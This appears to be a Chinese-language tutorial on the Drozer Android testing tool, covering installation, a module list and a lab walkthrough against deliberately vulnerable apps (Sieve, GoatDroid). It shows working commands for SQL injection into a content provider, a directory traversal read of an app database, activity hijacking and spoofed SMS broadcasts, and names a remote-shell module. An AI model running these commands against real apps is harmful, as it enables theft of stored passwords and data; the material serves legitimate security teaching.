Drozer

介绍

Drozer[1]是一款开源的 Android 安全测试和攻击工具,由 MWR InfoSecurity 开发。它提供了一个命令行接口,允许用户在安全测试或攻击 Android 应用程序时进行自动化测试,发现潜在的漏洞和安全风险。Drozer 是目前应用最为广泛的 Android 安全测试工具之一,其功能和易用性受到了广泛的认可和好评。

Drozer 的主要功能包括:

  1. 应用程序渗透测试:Drozer 允许用户测试 Android 应用程序的安全性,包括动态和静态分析,以及漏洞扫描等。
  2. 应用程序漏洞挖掘:Drozer 提供了一个插件系统,允许用户编写自己的插件来挖掘 Android 应用程序中的漏洞。
  3. 代码审计:Drozer 允许用户快速浏览应用程序的源代码,并快速查找敏感信息和漏洞。
  4. 安全审计:Drozer 提供了一些常见的安全审计功能,例如渗透测试、代码审计和漏洞扫描等。

总的来说,Drozer 是一款非常强大的 Android 安全测试工具,可以帮助安全测试人员发现 Android 应用程序中的漏洞和安全风险,并提供相应的解决方案。

GitHub: https://github.com/WithSecureLabs/drozer

安装

环境准备

  • python 2.7[2]【必须,不然可能会有玄学 BUG】

PC 控制端安装

# 安装依赖
python2 -m pip install wheel
python2 -m pip install pyyaml
python2 -m pip install pyhamcrest
python2 -m pip install protobuf
python2 -m pip install pyopenssl
python2 -m pip install twisted
python2 -m pip install service_identity
# 下载whl到本地
wget https://github.com/WithSecureLabs/drozer/releases/download/2.4.4/drozer-2.4.4-py2-none-any.whl
python2 -m pip install drozer-2.4.4-py2-none-any.whl

设备端 agent 安装

wget https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk
adb install drozer-agent-2.3.4.apk

连接

android检查权限是否开启 android检测组件安全工具_android

启动drozer agent


# 端口转发
adb forward tcp:31415 tcp:31415
# 连接
drozer console connect

出现如下内容,就说明 OK 了

Selecting da226956879c9325 (Xiaomi MI 6 Plus 6.0.1)
            ..                    ..:.
           ..o..                  .r..
            ..a..  . ....... .  ..nd
              ro..idsnemesisand..pr
              .otectorandroidsneme.
           .,sisandprotectorandroids+.
         ..nemesisandprotectorandroidsn:.
        .emesisandprotectorandroidsnemes..
      ..isandp,..,rotectorandro,..,idsnem.
      .isisandp..rotectorandroid..snemisis.
      ,andprotectorandroidsnemisisandprotec.
     .torandroidsnemesisandprotectorandroid.
     .snemisisandprotectorandroidsnemesisan:
     .dprotectorandroidsnemesisandprotector.
drozer Console (v2.4.4)
dz>

输入run app.package.list列举出所有的软件,可以列举就更加说明安装成功了。

相关命令

help: 列出所有可用命令,可通过`help <module>`查看指定的帮助信息,如`help app.package.list`
list: 列出可用模块的列表,可选择按名称过滤(也可以使用ls),如 `list service`。
run:  执行模块,使用方式 `run <module>`,如`run app.package.list`

模块介绍翻译:

模块

说明

app.activity.forintent

查找可以处理给定 intent 的 activity

app.activity.info

获取有关已导出 activity 的信息。

app.activity.start

启动 activity

app.broadcast.info

获取有关 broadcast receiver 的信息

app.broadcast.send

使用 intent 发送广播

app.broadcast.sniff

注册可以嗅探特定 intent 的 broadcast receiver

app.package.attacksurface

获取软件包的攻击面

app.package.backup

列出使用备份 API 的软件包(FLAG_ALLOW_BACKUP返回 true)

app.package.debuggable

查找可调试的软件包

app.package.info

获取有关已安装软件包的信息

app.package.launchintent

获取软件包的启动 intent

app.package.list

列出软件包

app.package.manifest

获取软件包的 AndroidManifest.xml

app.package.native

查找应用程序中嵌入的本地库。

app.package.shareduid

查找共享 UID 的软件包

app.provider.columns

列出内容提供者中的列

app.provider.delete

从内容提供者中删除

app.provider.download

从支持文件的内容提供者下载文件

app.provider.finduri

在软件包中查找引用的内容 URI

app.provider.info

获取有关导出内容提供程序的信息

app.provider.insert

插入到内容提供程序

app.provider.query

查询内容提供程序

app.provider.read

从支持文件的内容提供程序中读取

app.provider.update

更新内容提供者中的记录

app.service.info

获取有关已导出服务的信息

app.service.send

向服务发送消息,并显示回复

app.service.start

启动服务

app.service.stop

停止服务

auxiliary.webcontentresolver

启动内容提供者的 Web 服务接口。

exploit.jdwp.check

打开@jdwp-control,查看哪些应用连接

exploit.pilfer.general.apnprovider

读取 APN 内容提供者

exploit.pilfer.general.settingsprovider

读取设置内容提供者

information.datetime

打印日期/时间

information.deviceinfo

获取详细设备信息

information.permissions

获取设备上所有软件包使用的所有权限列表

scanner.activity.browsable

获取可以从 Web 浏览器调用的所有可浏览的 activity

scanner.misc.native

查找包中包含的本地组件

scanner.misc.readablefiles

在给定文件夹中查找可读取的全局文件

scanner.misc.secretcodes

搜索可从拨号器中使用的秘密代码

scanner.misc.sflagbinaries

在给定文件夹中查找 suid / sgid 二进制文件(默认为/system)。

scanner.misc.writablefiles

在给定文件夹中查找可写的全局文件

scanner.provider.finduris

搜索可以从我们的上下文查询的内容提供者。

scanner.provider.injection

测试内容提供程序的 SQL 注入漏洞。

scanner.provider.sqltables

查找可通过 SQL 注入漏洞访问的表。

scanner.provider.traversal

测试内容提供程序是否存在基本目录遍历漏洞。

shell.exec

执行单个 Linux 命令。

shell.send

将 ASH shell 发送到远程侦听器。

shell.start

进入交互式 Linux shell。

tools.file.download

下载文件。

tools.file.md5sum

获取文件的 md5 校验和。

tools.file.size

获取文件大小。

tools.file.upload

上传文件。

tools.setup.busybox

安装 Busybox。

tools.setup.minimalsu

准备在设备上安装'minimal-su'二进制文件。

四大组件

说明

组件名称

描述

用途

Activity

代表应用程序中的单个屏幕或用户界面

处理用户与应用程序的交互和响应用户的操作

Service

代表应用程序中的后台任务

在后台执行长时间运行的操作,例如音乐播放、下载和数据处理

BroadcastReceiver

用于接收系统广播和应用程序内部广播

响应系统和应用程序中的广播消息,例如电池电量、网络连接状态、应用程序安装等

ContentProvider

用于应用程序之间共享数据

允许应用程序访问其他应用程序存储在特定位置的数据,例如联系人、照片、音频文件等

测试

以sieve.apk[3]为例,查看攻击面

# 找到APP包名
dz> run app.package.list -f sie
com.mwr.example.sieve (Sieve)
# 找到模块
dz> ls attack
app.package.attacksurface  Get attack surface of package
# 查看攻击面,可以通过 -h 参数查看帮助
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
  3 activities exported
  0 broadcast receivers exported
  2 content providers exported
  2 services exported
    is debuggable

<packagename>是包名。可以看到有 3 个 activity、0 个广播接收者、2 个内容提供者和 2 个服务可以被导出,并且开启了 debug 模式。

**可导出:**可以被其他应用程序或组件调用

  1. 一般有参数的情况下需要结合反编译去分析传入的参数,然后用参数--extra去构造发送。
  2. Intent 是一种用于在不同组件之间传递数据和执行操作的机制。Intent 除了可以携带数据外,还可以传递Bundle 对象或者使用putExtra方法传递键值对来传递数据。所以我们在分析参数的时候,着重注意Bundle对象
Bundle bundle = arg1.getExtras();
sms.sendTextMessage(bundle.getString("phoneNumber"), null, bundle.getString("message"), null, null);
// 参数 phoneNumber 和 message

Activity

风险点:

  1. 未授权访问(信息泄漏)
  2. 拒绝服务(发送空/畸形数据)
  3. activity 劫持

获取可导出 activity

# run app.activity.info -a <packagename>
dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
  com.mwr.example.sieve.FileSelectActivity
    Permission: null
  com.mwr.example.sieve.MainLoginActivity
    Permission: null
  com.mwr.example.sieve.PWList
    Permission: null

调用对应的 activity,切换到对应界面,查看是否存在未授权,以及程序是否会崩溃(拒绝服务)

# run app.activity.start --component <packagename> <component>
# run app.activity.start --component <packagename> <component> --extra string value 12345
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

android检查权限是否开启 android检测组件安全工具_安全_02

activity未授权

测试是否存在 Activity 劫持

# 环境准备
wget https://github.com/yanghaoi/android_app/raw/master/uihijackv2.0_sign.apk
# 安装点击劫持软件
adb install uihijackv2.0_sign.apk

在打开原 activity 的基础上,调用此组件,如果uihijackv2.0_sign界面位于被测软件上,则存在漏洞,否则不存在漏洞。

run app.activity.start --component com.test.uihijack com.test.uihijack.MainActivity

Service

风险点:

  1. 根据具体的功能点分析
  2. 拒绝服务

获取可导出服务

# run app.service.info -a <packagename>
dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
  com.mwr.example.sieve.AuthService
    Permission: null
  com.mwr.example.sieve.CryptoService
    Permission: null

启动服务

# run app.service.start --component <packagename> <component>
dz> run app.service.start --component com.mwr.example.sieve com.mwr.example.sieve.AuthService
dz> run app.service.start --component com.mwr.example.sieve com.mwr.example.sieve.CryptoService

绑定到一个已导出的服务,并向其发送一条消息。如果服务发送了一个回复,则显示接收到的消息及其包含的任何数据【发送数据到服务,并 dump 数据】

# run app.service.send <packagename> <component> --msg 1 2 3 --extra float value 0.1324 --extra string test value
dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 0 --extra string com.mwr.example.sieve.PIN 1234888 --bundle-as-obj
Got a reply from com.mwr.example.sieve/com.mwr.example.sieve.AuthService:
  what: 5
  arg1: 41
  arg2: 1
  Extras
    com.mwr.example.sieve.PIN (String) : 1234888

如果返回的是对象类数据,一定要加上参数--bundle-as-obj,不然 drozer 会直接退出。

--msg--extra参数来源:

android检查权限是否开启 android检测组件安全工具_ide_03

常量值

android检查权限是否开启 android检测组件安全工具_android_04

参数分析

另一个服务也一样

dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.CryptoService --msg 3452 0 0 --extra string com.mwr.example.sieve.KEY 123 --extra string com.mwr.example.sieve.STRING 456 --bundle-as-obj
Got a reply from com.mwr.example.sieve/com.mwr.example.sieve.CryptoService:
  what: 9
  arg1: 91
  arg2: 0
  Extras
    com.mwr.example.sieve.RESULT (byte[]) : [55, 41, -24, -79, 3, 110, -82, -59, 93, -94, -83, -45, -8, 9, 97, -70, -79, 101, -80]
    com.mwr.example.sieve.STRING (String) : 456
    com.mwr.example.sieve.KEY (String) : 123

关闭服务

# run app.service.stop --component <packagename> <component>
dz> run app.service.stop --component com.mwr.example.sieve com.mwr.example.sieve.AuthService

ContentProvider

风险点:

  1. 信息泄漏
  2. 注入漏洞

Content Provider 中的注入漏洞允许攻击者向 Content Provider 中注入恶意数据,从而可以获取敏感信息或者执行未经授权的操作。攻击者可以利用注入漏洞来执行 SQL 注入攻击,从而获取或修改 Content Provider 中的数据。如果 Content Provider 中存储了敏感数据,攻击者可能会利用注入漏洞来窃取该数据,导致严重的数据泄露问题。

  1. 目录遍历漏洞

使用ContentProvider.openFile()可以实现应用间共享数据,如果这个方法使用不当将会导致目录遍历漏洞。该漏洞允许攻击者访问 Content Provider 中未经授权的文件和目录。攻击者可以利用目录遍历漏洞来获取敏感信息,如密码、密钥、证书等。此外,攻击者还可以利用目录遍历漏洞来执行未经授权的操作,如删除或修改 Content Provider 中的文件,导致严重的安全问题。

获取提供者信息

# run app.provider.info -a <packagename>
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
  Authority: com.mwr.example.sieve.DBContentProvider
    Read Permission: null
    Write Permission: null
    Content Provider: com.mwr.example.sieve.DBContentProvider
    Multiprocess Allowed: True
    Grant Uri Permissions: False
    Path Permissions:
      Path: /Keys
        Type: PATTERN_LITERAL
        Read Permission: com.mwr.example.sieve.READ_KEYS
        Write Permission: com.mwr.example.sieve.WRITE_KEYS
  Authority: com.mwr.example.sieve.FileBackupProvider
    Read Permission: null
    Write Permission: null
    Content Provider: com.mwr.example.sieve.FileBackupProvider
    Multiprocess Allowed: True
    Grant Uri Permissions: False

查询是否存在信息泄漏

# run scanner.provider.finduris -a <packagename>
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query  content://com.mwr.example.sieve.DBContentProvider/
Unable to Query  content://com.mwr.example.sieve.FileBackupProvider/
Unable to Query  content://com.mwr.example.sieve.DBContentProvider
Able to Query    content://com.mwr.example.sieve.DBContentProvider/Passwords/
Able to Query    content://com.mwr.example.sieve.DBContentProvider/Keys/
Unable to Query  content://com.mwr.example.sieve.FileBackupProvider
Able to Query    content://com.mwr.example.sieve.DBContentProvider/Passwords
Unable to Query  content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/

查询数据

# run app.provider.query <uri> [option args]
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/
| Password | pin  |
| 1        | null |

查询是否存在注入

# run scanner.provider.injection -a <packagename>
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Not Vulnerable:
  content://com.mwr.example.sieve.DBContentProvider/Keys
  content://com.mwr.example.sieve.DBContentProvider/
  content://com.mwr.example.sieve.FileBackupProvider/
  content://com.mwr.example.sieve.DBContentProvider
  content://com.mwr.example.sieve.FileBackupProvider
Injection in Projection:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/

利用注入

# 列出所有的表
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "* FROM SQLITE_MASTER WHERE TYPE='table';--"
| type  | name             | tbl_name         | rootpage | sql                                                                                              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE android_metadata (locale TEXT)                                                      |
| table | Passwords        | Passwords        | 4        | CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email ) |
| table | Key              | Key              | 5        | CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT )                                           |

查询是否存在目录遍历

# run scanner.provider.traversal -a <packagename>
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Not Vulnerable:
  content://com.mwr.example.sieve.DBContentProvider/
  content://com.mwr.example.sieve.DBContentProvider/Keys
  content://com.mwr.example.sieve.DBContentProvider/Passwords/
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider
Vulnerable Providers:
  content://com.mwr.example.sieve.FileBackupProvider/
  content://com.mwr.example.sieve.FileBackupProvider

利用目录遍历读取文件

# run app.provider.read <uri>
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/../../../../../../../..//data/user/0/com.mwr.example.sieve/databases/database.db

BroadcastReceiver

风险点:

  1. 消息伪造
  2. 拒绝服务

上面的 APK 不存在广播接收者,所以这里更换为另一个APK[4]

获取可导出广播接收者

# run app.broadcast.info -a <packagename>
dz> run app.broadcast.info -a org.owasp.goatdroid.fourgoats

发送广播

发送电量屏幕的广播

run app.broadcast.send --action android.intent.action.SCREEN_ON

部分系统预定义广播及正常触发时机

action

触发时机

android.net.conn.CONNECTIVITY_CHANGE

网络连接发生变化

android.intent.action.SCREEN_ON

屏幕点亮

android.intent.action.SCREEN_OFF

屏幕熄灭

android.intent.action.BATTERY_LOW

电量低,会弹出电量低提示框

android.intent.action.BATTERY_OKAY

电量恢复了

android.intent.action.BOOT_COMPLETED

设备启动完毕

android.intent.action.DEVICE_STORAGE_LOW

存储空间过低

android.intent.action.DEVICE_STORAGE_OK

存储空间恢复

android.intent.action.PACKAGE_ADDED

安装了新的应用

android.net.wifi.STATE_CHANGE

WiFi 连接状态发生变化

android.net.wifi.WIFI_STATE_CHANGED

WiFi 状态变为启用/关闭/正在启动/正在关闭/未知

android.intent.action.BATTERY_CHANGED

电池电量发生变化

android.intent.action.INPUT_METHOD_CHANGED

系统输入法发生变化

android.intent.action.ACTION_POWER_CONNECTED

外部电源连接

android.intent.action.ACTION_POWER_DISCONNECTED

外部电源断开连接

android.intent.action.DREAMING_STARTED

系统开始休眠

android.intent.action.DREAMING_STOPPED

系统停止休眠

android.intent.action.WALLPAPER_CHANGED

壁纸发生变化

android.intent.action.HEADSET_PLUG

插入耳机

android.intent.action.MEDIA_UNMOUNTED

卸载外部介质

android.intent.action.MEDIA_MOUNTED

挂载外部介质

android.os.action.POWER_SAVE_MODE_CHANGED

省电模式开启

发送给指定的 broadcast receiver

# run app.broadcast.send --component <packagename> <component>
dz> run app.broadcast.send --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver --extra string phoneNumber 123  --extra string message 666

android检查权限是否开启 android检测组件安全工具_android_05

image

extra 参数来源:

android检查权限是否开启 android检测组件安全工具_ide_06

image

参考资料

[1]

Drozer: https://labs.withsecure.com/tools/drozer

[2]

python 2.7: https://www.python.org/ftp/python/2.7.18/python-2.7.18-macosx10.9.pkg

[3]

sieve.apk: https://github.com/as0ler/Android-Examples/blob/master/sieve.apk

[4]

APK: https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk